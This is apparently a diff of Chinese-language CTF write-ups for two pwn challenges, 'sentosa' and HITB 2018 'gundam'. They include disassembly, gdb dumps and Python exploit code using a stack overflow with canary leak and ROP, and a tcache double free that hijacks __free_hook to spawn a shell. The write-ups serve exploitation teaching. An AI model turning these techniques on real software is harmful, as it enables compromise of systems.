\ `-----> 0x00000e8e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||||
```
|
||||
|
||||
通过上面的分析可以得到 project 结构体和 projects 数组:
|
||||
|
||||
```c
|
||||
struct project {
|
||||
int length;
|
||||
@ -238,12 +246,14 @@ struct project {
|
||||
|
||||
struct project *projects[0x10];
|
||||
```
|
||||
|
||||
projects 位于 `0x00202040`,proj_num 位于 `0x002020c0`。
|
||||
|
||||
用户输入的 length 必须小于 0x59,使用 malloc(length+0x15) 分配一块堆空间作为 project,然后调用 `read_buf0()` 读入 name 到栈上。读入 name 后将其复制到 project 中,然后将 check 置为 1,最后再依次读入 price、area 和 capacity。
|
||||
|
||||
程序自己实现的 `read_bf0()` 函数如下:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00000a30]> pdf @ sub.read_bf0
|
||||
/ (fcn) sub.read_bf0 148
|
||||
| sub.read_bf0 ();
|
||||
@ -307,12 +317,14 @@ projects 位于 `0x00202040`,proj_num 位于 `0x002020c0`。
|
||||
| | ; JMP XREF from 0x00000c67 (sub.read_bf0)
|
||||
\ `---> 0x00000c8e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||||
```
|
||||
|
||||
正如我们一开始猜测的,这个函数是有问题的,如果输入 0 作为 length,则 length-1(能读入的实际长度) 后得到一个负数,在循环判断时,负数永远不会等于一个正数,于是将读入任意长度的字符串(以`\n`结尾),造成缓冲区溢出。
|
||||
|
||||
字符串末尾会被加上 `\x00`,且开启了 Canary,暂时还没想到如何利用,继续往下看。另外特别注意 malloc 后得到的 project 的地址存放在 `rsp + 0x6a` 的位置。
|
||||
|
||||
#### View all projects
|
||||
```
|
||||
### View all projects
|
||||
|
||||
```text
|
||||
[0x00000a30]> pdf @ sub.Project:__s_ea0
|
||||
/ (fcn) sub.Project:__s_ea0 191
|
||||
| sub.Project:__s_ea0 (int arg_4h, int arg_8h, int arg_ch);
|
||||
@ -371,10 +383,12 @@ projects 位于 `0x00202040`,proj_num 位于 `0x002020c0`。
|
||||
| | ; JMP XREF from 0x00000f4f (sub.Project:__s_ea0)
|
||||
\ `-> 0x00000f5a call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||||
```
|
||||
|
||||
该函数用于打印出所有存在的 project 的信息。
|
||||
|
||||
#### Cancel a project
|
||||
```
|
||||
### Cancel a project
|
||||
|
||||
```text
|
||||
[0x00000a30]> pdf @ sub.There_are_no_project_to_cancel_f60
|
||||
/ (fcn) sub.There_are_no_project_to_cancel_f60 207
|
||||
| sub.There_are_no_project_to_cancel_f60 ();
|
||||
@ -436,17 +450,20 @@ projects 位于 `0x00202040`,proj_num 位于 `0x002020c0`。
|
||||
| 0x0000102f xor edi, edi
|
||||
\ 0x00001031 call sym.imp.exit ; void exit(int status)
|
||||
```
|
||||
|
||||
该函数首先检查 project->check 是否被修改(不等于1),如果没有则释放该 project,并将 projects[i] 置 0。否则程序退出。这个函数似乎没有悬指针之类的问题。
|
||||
|
||||
|
||||
## 漏洞利用
|
||||
|
||||
总结一下,就是在 `read_bf0()` 函数中存在一个栈溢出漏洞。
|
||||
|
||||
我们来看一下 `read_bf0()` 函数中的内存布局,假设分配一个这样的 project:
|
||||
|
||||
```python
|
||||
start_proj(0x4f, "A"*(0x4f-1), 2, 3, 4)
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/22gx $rsp
|
||||
0x7fffffffec70: 0x00007ffff7dd3780 0x0000004ff7b046e0
|
||||
0x7fffffffec80: 0x4141414141414141 0x4141414141414141 <-- name
|
||||
@ -482,13 +499,15 @@ gdb-peda$ x/18gx 0x555555756040
|
||||
0x5555557560b0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557560c0: 0x0000000000000001 0x0000000000000000 <-- proj_num
|
||||
```
|
||||
|
||||
所以其实在覆盖到 Canary 之前,我们是有一个 project 地址可以覆盖的,但由于 `read_bf0()` 会在字符串末尾加 `"\x00"`,所以我们只能够将地址的低位覆盖为 `"\x00"`。在新增 project 过程的最后,会将 project address 放到数组 projects 中,所以我们可以将覆盖后的 project address 放进数组。然后利用 View 的功能就可以打印出内容。
|
||||
|
||||
另外我们应该注意的是上面的 project address 是最后一次 malloc 返回的地址,即最后添加的 project 的 address。在上面的例子中,如果我们将 project address 覆盖掉,则它指向了 project 的 chunk 头。所以我们可以将其指向一个被释放的 fastbin,它的 fd 指针指向了 heap 上的一个地址,只要将其打印出来就可以通过计算得到 heap 基址。
|
||||
|
||||
得到了 heap 基址后,我们就可以将 project address 修改为任意的堆地址,从而读取任意信息。所以下一步我们从堆里得到 libc 地址,接着通过 libc 的 `__environ` 符号得到 stack 地址,最后就可以从栈上得到 Canary。构造 ROP 得到 shell。
|
||||
|
||||
#### leak heap
|
||||
### leak heap
|
||||
|
||||
```python
|
||||
def leak_heap():
|
||||
global heap_base
|
||||
@ -504,8 +523,10 @@ def leak_heap():
|
||||
heap_base = (0x55<<40) + (leak<<8) # 0x55 or 0x56
|
||||
log.info("libc base: 0x%x" % heap_base)
|
||||
```
|
||||
|
||||
首先分配 3 个 fast chunk,其中第 2 个利用栈溢出修改 project address,使其指向第 chunk 0。然后依次释放掉 chunk 2 和 chunk 0,此时 chunk 0 的 fd 指向了 chunk 2:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/18gx 0x555555756040
|
||||
0x555555756040: 0x0000000000000000 0x0000555555757000 <-- projects
|
||||
0x555555756050: 0x0000000000000000 0x0000000000000000
|
||||
@ -526,9 +547,11 @@ gdb-peda$ x/16gx 0x555555757010-0x10
|
||||
0x555555757060: 0x0000000000000100 0x0000000000020fa1 <-- top chunk
|
||||
0x555555757070: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
然后 View 打印出来就得到了 heap 基址。这种构造方法还是有一点问题的,不能打印出最高位的 `0x55`,但我们知道这个值相对固定,所以直接加上就可以了。
|
||||
|
||||
#### leak libc
|
||||
### leak libc
|
||||
|
||||
```python
|
||||
def leak_libc():
|
||||
global libc_base
|
||||
@ -550,10 +573,12 @@ def leak_libc():
|
||||
|
||||
log.info("libc base: 0x%x" % libc_base)
|
||||
```
|
||||
|
||||
由于我们不能直接分配一个 small chunk,所以需要构造一个 fake chunk。利用栈溢出修改 project address 可以做到这一点。另外还需要满足 libc free 的检查,还有 Cancel 过程中的 check。
|
||||
|
||||
首先分配 5 个 project,其中最后两个利用漏洞修改了 project address,使其指向 fake chunk。此时内存布局如下:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/18gx 0x555555756040
|
||||
0x555555756040: 0x0000555555757070 0x0000555555757000 <-- projects
|
||||
0x555555756050: 0x00005555557570a0 0x0000555555757110
|
||||
@ -591,8 +616,10 @@ gdb-peda$ x/50gx 0x555555757010-0x10
|
||||
0x555555757170: 0x0000000000000100 0x0000000000020e91 <-- top chunk
|
||||
0x555555757180: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
释放掉 chunk 4,此时它将被放进 unsorted bin,其 fd, bk 指针指向 libc:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/50gx 0x555555757010-0x10
|
||||
0x555555757000: 0x0000000000000000 0x0000000000000021
|
||||
0x555555757010: 0x0000015500000000 0x0000010000000100
|
||||
@ -620,9 +647,11 @@ gdb-peda$ x/50gx 0x555555757010-0x10
|
||||
0x555555757170: 0x0000000000000100 0x0000000000020e91
|
||||
0x555555757180: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
将它打印出来即可得到 libc 的基址。
|
||||
|
||||
#### leak stack and canary
|
||||
### leak stack and canary
|
||||
|
||||
```python
|
||||
def leak_stack_canary():
|
||||
global canary
|
||||
@ -653,9 +682,11 @@ def leak_stack_canary():
|
||||
|
||||
log.info("canary: 0x%x" % canary)
|
||||
```
|
||||
|
||||
通过 libc 地址计算出 `__environ` 的地址,构造 project 并打印出来得到其指向的 stack 地址。然后通过偏移计算得到 canary 地址,同样的方法构造 project,得到 canary。
|
||||
|
||||
#### pwn
|
||||
### pwn
|
||||
|
||||
```python
|
||||
def pwn():
|
||||
pop_rdi_ret = libc_base + 0x21102
|
||||
@ -673,8 +704,10 @@ def pwn():
|
||||
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
最后我们就可以构造 ROP 得到 shell 了。
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/24gx $rsp
|
||||
0x7fffffffec70: 0x00007ffff7dd3780 0x00000000f7b046e0
|
||||
0x7fffffffec80: 0x4141414141414141 0x4141414141414141
|
||||
@ -691,7 +724,8 @@ gdb-peda$ x/24gx $rsp
|
||||
```
|
||||
|
||||
开启 ASLR。Bingo!!!
|
||||
```
|
||||
|
||||
```text
|
||||
$ python exp.py
|
||||
[+] Starting local process './sentosa': pid 11161
|
||||
[*] heap base: 0x556cac880000
|
||||
@ -706,8 +740,10 @@ $ whoami
|
||||
firmy
|
||||
```
|
||||
|
||||
#### exploit
|
||||
### exploit
|
||||
|
||||
完整的 exp 如下:
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
|
||||
@ -821,6 +857,6 @@ if __name__ == "__main__":
|
||||
pwn()
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
- https://ctftime.org/task/4460
|
||||
|
||||
- <https://ctftime.org/task/4460>
|
||||
|
@ -5,11 +5,11 @@
|
||||
- [漏洞利用](#漏洞利用)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/writeup/6.1.19_pwn_hitbctf2018_gundam)
|
||||
|
||||
## 题目复现
|
||||
```
|
||||
|
||||
```text
|
||||
$ file gundam
|
||||
gundam: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5643cd77b84ace35448d38fc49e4d3668ef45fea, stripped
|
||||
$ checksec -f gundam
|
||||
@ -19,10 +19,12 @@ $ strings libc-2.26.so | grep "GNU C"
|
||||
GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2.1) stable release version 2.26, by Roland McGrath et al.
|
||||
Compiled by GNU CC version 6.4.0 20171010.
|
||||
```
|
||||
|
||||
保护全开,也默认 ASLR 开。libc 版本 2.26,所以应该还是考察 tcache(参考章节4.14)。
|
||||
|
||||
玩一下:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./gundam
|
||||
... # 创建了两个 gundam
|
||||
1 . Build a gundam
|
||||
@ -98,12 +100,14 @@ Your choice : 3 # 第三次销毁 gundam 0,失败
|
||||
Which gundam do you want to Destory:0
|
||||
Invalid choice
|
||||
```
|
||||
|
||||
根据上面的结果也能猜出一些东西。比如在没有销毁 factory 的情况下,可以多次销毁 gundam。而销毁 factory 不会对没有销毁的 gundam 造成影响。
|
||||
|
||||
|
||||
## 题目解析
|
||||
#### main
|
||||
```
|
||||
|
||||
### main
|
||||
|
||||
```text
|
||||
[0x000009e0]> pdf @ main
|
||||
/ (fcn) main 122
|
||||
| main ();
|
||||
@ -172,10 +176,12 @@ Invalid choice
|
||||
||||| ; JMP XREF from 0x0000116d (main + 168)
|
||||
`````=< 0x00001192 jmp 0x10e6 ; main+0x21
|
||||
```
|
||||
|
||||
一个典型的 switch-case 跳转结构。
|
||||
|
||||
#### Build a gundam
|
||||
```
|
||||
### Build a gundam
|
||||
|
||||
```text
|
||||
[0x000009e0]> pdf @ sub.malloc_b7d
|
||||
/ (fcn) sub.malloc_b7d 437
|
||||
| sub.malloc_b7d (int arg_8h);
|
||||
@ -303,7 +309,9 @@ Invalid choice
|
||||
0x00202040 6f6d 0000 0000 0000 4167 6965 7300 0000 om......Agies...
|
||||
0x00202050 0000 0000 0000 0000 0000 0000
|
||||
```
|
||||
|
||||
通过分析这个函数,可以得到 gundam 结构体(大小为0x28)和 factory(地址`0x002020a0`) 数组:
|
||||
|
||||
```c
|
||||
struct gundam {
|
||||
uint32_t flag;
|
||||
@ -313,12 +321,14 @@ struct gundam {
|
||||
|
||||
struct gundam *factory[9];
|
||||
```
|
||||
|
||||
另外 gundam->name 指向一块 0x100 大小的空间。gundam 的数量存放在 `0x0020208c`。
|
||||
|
||||
从读入 name 的操作中我们发现,程序并没有在末尾设置 `\x00`,可能导致信息泄漏(以`\x0a`结尾)。
|
||||
|
||||
#### Visit gundams
|
||||
```
|
||||
### Visit gundams
|
||||
|
||||
```text
|
||||
[0x000009e0]> pdf @ sub.Gundam__u__:_s_ef4
|
||||
/ (fcn) sub.Gundam__u__:_s_ef4 254
|
||||
| sub.Gundam__u__:_s_ef4 (int arg_8h);
|
||||
@ -391,10 +401,12 @@ struct gundam *factory[9];
|
||||
| `-> 0x00000ff0 leave
|
||||
\ 0x00000ff1 ret
|
||||
```
|
||||
|
||||
该函数先判断 gundam_num 是否为 0,如果不是,再根据 factory[i] 和 factory[i]->flag 判断某个 gundam 是否存在,如果存在,就将它的 name 和 type 打印出来。
|
||||
|
||||
#### Destory a gundam
|
||||
```
|
||||
### Destory a gundam
|
||||
|
||||
```text
|
||||
[0x000009e0]> pdf @ sub.Which_gundam_do_you_want_to_Destory:_d32
|
||||
/ (fcn) sub.Which_gundam_do_you_want_to_Destory:_d32 240
|
||||
| sub.Which_gundam_do_you_want_to_Destory:_d32 ();
|
||||
@ -463,15 +475,18 @@ struct gundam *factory[9];
|
||||
| `-> 0x00000e20 leave
|
||||
\ 0x00000e21 ret
|
||||
```
|
||||
|
||||
该函数用于销毁 gundam,它先将 gundam->flag 置为 0,再释放掉 gundam->name。
|
||||
|
||||
这里有几个问题:
|
||||
|
||||
- 该函数是通过 factory[i] 来判断某个 gundam 是否存在,而在销毁 gundam 后并没有将 factory[i] 置空,导致 factory[i]->name 可能被多次释放
|
||||
- name 指针没有被置空,可能导致 UAF
|
||||
- 销毁 gundam 后没有将 gundam_num 减 1
|
||||
|
||||
#### Blow up the factory
|
||||
```
|
||||
### Blow up the factory
|
||||
|
||||
```text
|
||||
[0x000009e0]> pdf @ sub.Done_e22
|
||||
/ (fcn) sub.Done_e22 210
|
||||
| sub.Done_e22 (int arg_8h);
|
||||
@ -531,18 +546,21 @@ struct gundam *factory[9];
|
||||
| `-> 0x00000ef2 leave
|
||||
\ 0x00000ef3 ret
|
||||
```
|
||||
|
||||
该函数会找出所有 factory[i] 不为 0,且 factory[i]->flag 为 0 的 gundam,然后将该 gundam 结构体释放掉,factory[i] 置为 0,最后 gundam_num 每次减 1。
|
||||
|
||||
经过这个过程,销毁 gundam 留下的问题基本解决了,除了 name 指针依然存在。
|
||||
|
||||
|
||||
## Exploit
|
||||
|
||||
所以利用过程如下:
|
||||
|
||||
1. 利用被放入 unsorted bin 的 chunk 泄漏 libc 基址,可以计算出 `__free_hook` 和 `system` 的地址。
|
||||
2. 利用 double free,将 `__free_hook` 修改为 `system`。
|
||||
3. 当调用 `free` 的时候就会调用 `system`,获得 shell。
|
||||
|
||||
#### leak
|
||||
### leak
|
||||
|
||||
```python
|
||||
def leak():
|
||||
global __free_hook_addr
|
||||
@ -570,7 +588,8 @@ def leak():
|
||||
```
|
||||
|
||||
chunk 被放进 unsorted bin 时:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ vmmap heap
|
||||
Start End Perm Name
|
||||
0x0000555555757000 0x0000555555778000 rw-p [heap]
|
||||
@ -603,24 +622,28 @@ Start End Perm Name
|
||||
gdb-peda$ p 0x00007ffff7dd2c78 - 0x00007ffff79f8000
|
||||
$1 = 0x3dac78
|
||||
```
|
||||
|
||||
可以看到对应的 tcache bin 中已经放满了 7 个 chunk,所以第 8 块 chunk 被放进了 unsorted bin。
|
||||
|
||||
再次 malloc 之后:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/6gx 0x555555757b50-0x10
|
||||
0x555555757b40: 0x0000000000000000 0x0000000000000111
|
||||
0x555555757b50: 0x0a41414141414141 0x00007ffff7dd2c78
|
||||
0x555555757b60: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
可以看到程序并没有在字符串后加 `\x00` 隔断,所以可以将 unsorted bin 的地址泄漏出来,然后通过计算得到 libc 基址。
|
||||
|
||||
```
|
||||
```text
|
||||
[*] libc base: 0x7ffff79f8000
|
||||
[*] __free_hook address: 0x7ffff7dd48a8
|
||||
[*] system address: 0x7ffff7a3fdc0
|
||||
```
|
||||
|
||||
#### overwrite
|
||||
### overwrite
|
||||
|
||||
```python
|
||||
def overwrite():
|
||||
destroy(2)
|
||||
@ -635,7 +658,8 @@ def overwrite():
|
||||
```
|
||||
|
||||
触发 double free 时:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/30gx 0x0000555555757000+0x10
|
||||
0x555555757010: 0x0000000000000000 0x0400000000000000 <-- counts
|
||||
0x555555757020: 0x0000000000000000 0x0000000000000000
|
||||
@ -657,10 +681,12 @@ gdb-peda$ x/6gx 0x0000555555757a10-0x10
|
||||
0x555555757a10: 0x0000555555757a10 0x0000000000000000 <-- fd pointer
|
||||
0x555555757a20: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
其 fd 指针指向了它自己。
|
||||
|
||||
接下来的 malloc 将改写 `__free_hook` 的地址:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/6gx 0x0000555555757a10-0x10
|
||||
0x555555757a00: 0x0000000000000000 0x0000000000000111
|
||||
0x555555757a10: 0x0068732f6e69622f 0x000000000000000a
|
||||
@ -671,7 +697,8 @@ gdb-peda$ p system
|
||||
$2 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system>
|
||||
```
|
||||
|
||||
#### pwn
|
||||
### pwn
|
||||
|
||||
```python
|
||||
def pwn():
|
||||
destroy(1)
|
||||
@ -679,7 +706,8 @@ def pwn():
|
||||
```
|
||||
|
||||
Bingo!!!
|
||||
```
|
||||
|
||||
```text
|
||||
$ python exp.py
|
||||
[+] Starting local process './gundam': pid 7264
|
||||
[*] Switching to interactive mode
|
||||
@ -687,8 +715,10 @@ $ whoami
|
||||
firmy
|
||||
```
|
||||
|
||||
#### exploit
|
||||
### exploit
|
||||
|
||||
完整的 exp 如下:
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
|
||||
@ -760,6 +790,6 @@ if __name__ == "__main__":
|
||||
pwn()
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
- https://ctftime.org/task/5924
|
||||
|
||||
- <https://ctftime.org/task/5924>
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user